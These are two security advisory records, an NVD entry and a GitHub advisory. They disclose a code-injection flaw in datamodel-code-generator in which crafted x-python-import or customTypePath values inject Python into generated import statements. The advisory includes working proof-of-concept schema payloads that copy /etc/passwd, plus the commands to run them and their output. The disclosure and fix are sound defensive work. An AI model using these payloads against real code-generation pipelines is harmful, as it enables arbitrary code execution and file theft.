{
  "affected": [
    {
      "affectedData": [
        {
          "product": "datamodel-code-generator",
          "vendor": "koxudaxi",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.11.6, \u003c 0.64.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.11.6 until 0.64.0, datamodel-code-generator allows attacker-controlled x-python-import or customTypePath schema extensions to reach src/datamodel_code_generator/parser/jsonschema.py and generated import handling through Import.from_full_path and Imports.create_line in src/datamodel_code_generator/imports.py, allowing a newline to break out of an import statement and execute Python code when the generated model is imported. This issue is fixed in version 0.64.0."
    }
  ],
  "id": "CVE-2026-55415",
  "lastModified": "2026-07-28T22:17:48.983",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-28T22:17:48.983",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-95"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.63.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.6"
            },
            {
              "fixed": "0.64.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:40:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nA malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that **imports** the generated model. The `x-python-import` and `customTypePath` schema extensions flow, unsanitized, into the `import` statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the `from \u2026 import \u2026` line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content\u2013driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates `/etc/passwd`). It survives the v0.61.0 security release that fixed the related `x-python-type`, `default_factory`, GraphQL-union-description, and `validators` sinks  those fixes did not cover this sibling path.\n\n#### Details\n\nThe sink is `Import.from_full_path` and `Imports.create_line`:\n\n- `src/datamodel_code_generator/imports.py:35` \u2014 `from_full_path()` only does `class_path.split(\".\")` and preserves every other character, **including newlines**:\n  ```python\n  @classmethod\n  @lru_cache\n  def from_full_path(cls, class_path: str) -\u003e Import:\n      split_class_path: list[str] = class_path.split(\".\")\n      return cls(import_=split_class_path[-1], from_=\".\".join(split_class_path[:-1]) or None)\n  ```\n- `src/datamodel_code_generator/imports.py:64` \u2014 `create_line()` renders the result verbatim:\n  ```python\n  def create_line(self, from_: str | None, imports: set[str]) -\u003e str:\n      if from_:\n          return f\"from {from_} import {\u0027, \u0027.join(self._set_alias(from_, imports))}\"\n      return \"\\n\".join(f\"import {i}\" for i in self._set_alias(from_, imports))\n  ```\n\nThere is no check that the path segments are Python identifiers, contrast `validators._validate_dotted_python_identifier_path`, which the same v0.61.0 release added for the `validators` config, and `types.is_python_type_annotation`, added for `x-python-type`. The two extensions below were left unguarded.\n\nTwo schema-controlled, **default-config** entry points reach this sink:\n\n1. **`x-python-import`** \u2014 `src/datamodel_code_generator/parser/jsonschema.py:1851-1858` (`get_ref_data_type`):\n   ```python\n   x_python_import = ref_schema.extras.get(\"x-python-import\")\n   if isinstance(x_python_import, dict):\n       module = x_python_import.get(\"module\")\n       type_name = x_python_import.get(\"name\")\n       if module and type_name:\n           full_path = f\"{module}.{type_name}\"\n           import_ = Import.from_full_path(full_path)\n           self.imports.append(import_)\n   ```\n2. **`customTypePath`** \u2014 declared at `src/datamodel_code_generator/parser/jsonschema.py:438`, consumed at `:4118` and `:4365` via `get_data_type_from_full_path(custom_type_path, is_custom_type=True)` \u2192 the same `Import.from_full_path` sink.\n\n**Mechanism.** With `name = \"getcwd\\nprint(...)\"`, `full_path = \"os.getcwd\\nprint(...)\"`. `from_full_path` splits only on `.`, so (provided the injected statement contains no `.`) it yields `from_=\"os\"` and `import_=\"getcwd\\nprint(...)\"`. `create_line` then emits:\n```python\nfrom os import getcwd\nprint(...)        # \u2190 attacker statement at module scope, executes on import\n```\nThe dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. `print(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/loot\u0027,\u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)` reads and exfiltrates a file using no `.`).\n\nNone of the six v0.61.0 fix commits (`aec47bc4`, `b73abb5c`, `17fc235e`, `2c93c9b7`, `a43d0290`, `5fdba4a0`) touched `x-python-import`, `customTypePath`, or `imports.py`; `imports.py` was last modified ~5 months before the release. This is therefore an **incomplete fix**: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.\n\n#### PoC\nSelf contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b\n\nDefault invocation, no special flags, on the patched release (commit `227ffe85ee2dcfc79336fbb14ad64c02a166b65a`, v0.61.0).\n\n`payload_a.json`:\n```json\n{\n  \"type\": \"object\",\n  \"title\": \"Root\",\n  \"required\": [\"f\"],\n  \"properties\": { \"f\": { \"$ref\": \"#/$defs/Evil\" } },\n  \"$defs\": {\n    \"Evil\": {\n      \"type\": \"object\",\n      \"x-python-import\": {\n        \"module\": \"os\",\n        \"name\": \"getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_xpi_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\"\n      }\n    }\n  }\n}\n```\nGenerate and import:\n```bash\ndatamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py\npython -c \"import model\"\n```\nGenerated `model.py` (verbatim, the breakout sits at module scope):\n```python\nfrom __future__ import annotations\n\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom pydantic import BaseModel\n...\n```\nImporting `model` reads `/etc/passwd` and writes an exact copy to `/tmp/dmcg_xpi_loot`:\n```\n$ head -1 /tmp/dmcg_xpi_loot\nroot:x:0:0:root:/root:/bin/bash\n```\nConfirmed under both the default output (pydantic v1) and `--output-model-type pydantic_v2.BaseModel`. The `customTypePath` variant reproduces identically:\n```json\n{ \"type\":\"object\",\"title\":\"Root\",\"required\":[\"f\"],\n  \"properties\":{ \"f\":{ \"type\":\"object\",\n    \"customTypePath\":\"os.getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_ctp_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\" }}}\n```\nA benign control (`x-python-import: {\"module\":\"decimal\",\"name\":\"Decimal\"}`) produces clean `from decimal import Decimal` and no execution. A complete self-contained validation harness, `run.sh` plus `control.json`, `payload_a.json`, `payload_b.json`, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).\n\n**Suggested fix.** Validate every dotted segment of `module`, `name`, and `customTypePath` as a Python identifier before building the import (reuse `validators._validate_dotted_python_identifier_path`), and/or reject non-identifier paths centrally inside `Import.from_full_path`.\n\n#### Impact\n\nArbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker\u0027s code with the importing process\u0027s privileges. The PoC demonstrates arbitrary local file read (`/etc/passwd`); the same primitive yields full RCE.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1\n\nFix summary: validate `x-python-import` and `customTypePath` values as dotted Python identifier paths before using them in generated imports or type paths.\n\nRelease status: not fixed in `0.63.0`; `customTypePath` was introduced in `0.11.6`, so affected versions are `\u003e= 0.11.6, \u003c= 0.63.0`. This advisory should remain unpublished until the private PR is merged and a patched release is available.\n\nValidation: `uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py` passed locally; `uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-5578-w22f-pfx9",
  "modified": "2026-07-28T21:40:20Z",
  "published": "2026-07-28T21:40:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements"
}